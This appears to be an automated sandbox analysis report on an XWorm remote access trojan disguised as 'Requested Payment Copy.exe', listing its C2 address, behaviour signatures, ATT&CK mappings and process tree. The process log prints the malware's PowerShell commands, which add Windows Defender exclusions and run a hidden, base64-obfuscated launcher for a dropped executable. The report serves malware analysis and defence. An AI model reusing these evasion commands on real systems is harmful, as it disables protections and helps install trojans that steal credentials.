Analysis
- max time kernel
148s - max time network
140s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
25/09/2026, 05:41
General
- Target Requested Payment Copy.exe
- Size 1.1MB
- Sample260925-gdpmpsyz2q
- SHA256 3af985844589030f27a37f164a34e3ba82b2c16833c24cc9e6200b14c07bc8de
Malware Config
Extracted
-
xworm
-
5.0
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209.127.35.200:3533
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n4uqrWvP1tlbEHYU
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 3 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- SmartAssembly .NET packer 1 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 28 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Requested Payment Copy.exe"C:\Users\Admin\AppData\Local\Temp\Requested Payment Copy.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Requested Payment Copy.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\Requested Payment Copy.exe"C:\Users\Admin\AppData\Local\Temp\Requested Payment Copy.exe"2⤵
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C:\Users\Admin\AppData\Local\Temp\Requested Payment Copy.exe"C:\Users\Admin\AppData\Local\Temp\Requested Payment Copy.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$xleaaa=Get-Date;$f2scxr=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$ufhoyt=[System.Environment]::TickCount;$pcr23q=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGZqZy5leGU=')));$zn3wxl=1602;& $f2scxr -FilePath $pcr23q"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\fjg.exe"C:\Users\Admin\AppData\Roaming\fjg.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\fjg.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\fjg.exe"C:\Users\Admin\AppData\Roaming\fjg.exe"3⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Roaming\fjg.exe"C:\Users\Admin\AppData\Roaming\fjg.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
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Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_pedzugpp.qye.ps1
fjg.exe
memory/2032-56-0x00000000059B0000-0x0000000005D0B000-memory.dmp
memory/2032-58-0x0000000005DA0000-0x0000000005DEC000-memory.dmp
memory/2032-59-0x0000000070E10000-0x0000000070E5C000-memory.dmp
memory/2032-62-0x0000000006F80000-0x0000000007023000-memory.dmp
memory/2488-7-0x000000000AEF0000-0x000000000AF8C000-memory.dmp
memory/2488-2-0x0000000007B90000-0x000000000814A000-memory.dmp
memory/2488-9-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/2488-10-0x000000000B390000-0x000000000B456000-memory.dmp
memory/2488-1-0x00000000004A0000-0x00000000005BC000-memory.dmp
memory/2488-6-0x000000000AE30000-0x000000000AE4A000-memory.dmp
memory/2488-5-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/2488-4-0x0000000002A00000-0x0000000002A0A000-memory.dmp
memory/2488-3-0x0000000005180000-0x0000000005212000-memory.dmp
memory/2488-0-0x0000000074C02000-0x0000000074C03000-memory.dmp
memory/2488-8-0x0000000074C02000-0x0000000074C03000-memory.dmp
memory/2488-24-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/4208-29-0x0000018F40330000-0x0000018F40352000-memory.dmp
memory/4208-32-0x0000018F406E0000-0x0000018F41084000-memory.dmp
memory/4808-48-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/4808-20-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/4808-47-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/4808-18-0x0000000000400000-0x0000000000428000-memory.dmp
memory/4808-49-0x0000000008420000-0x000000000849A000-memory.dmp
memory/4808-50-0x0000000002F70000-0x0000000002F76000-memory.dmp
memory/4808-64-0x000000000D4B0000-0x000000000E314000-memory.dmp
memory/4808-43-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/4856-26-0x0000000005EF0000-0x0000000005F3C000-memory.dmp
memory/4856-38-0x0000000006D80000-0x0000000006E23000-memory.dmp
memory/4856-37-0x0000000006120000-0x0000000006140000-memory.dmp
memory/4856-34-0x00000000754D0000-0x000000007551C000-memory.dmp
memory/4856-40-0x0000000006ED0000-0x0000000006EEA000-memory.dmp
memory/4856-39-0x0000000007510000-0x0000000007B8C000-memory.dmp
memory/4856-41-0x0000000006F40000-0x0000000006F4A000-memory.dmp
memory/4856-42-0x0000000007140000-0x00000000071D6000-memory.dmp
memory/4856-33-0x0000000006B40000-0x0000000006B76000-memory.dmp
memory/4856-25-0x0000000005B80000-0x0000000005B9E000-memory.dmp
memory/4856-46-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/4856-16-0x0000000004CA0000-0x0000000004CC2000-memory.dmp
memory/4856-21-0x0000000005750000-0x0000000005AAB000-memory.dmp
memory/4856-19-0x0000000004F60000-0x0000000004FC6000-memory.dmp
memory/4856-17-0x0000000004E40000-0x0000000004EA6000-memory.dmp
memory/4856-15-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/4856-13-0x0000000005100000-0x000000000574A000-memory.dmp
memory/4856-14-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/4856-12-0x0000000074BF0000-0x00000000753AC000-memory.dmp
memory/4856-11-0x0000000002320000-0x0000000002356000-memory.dmp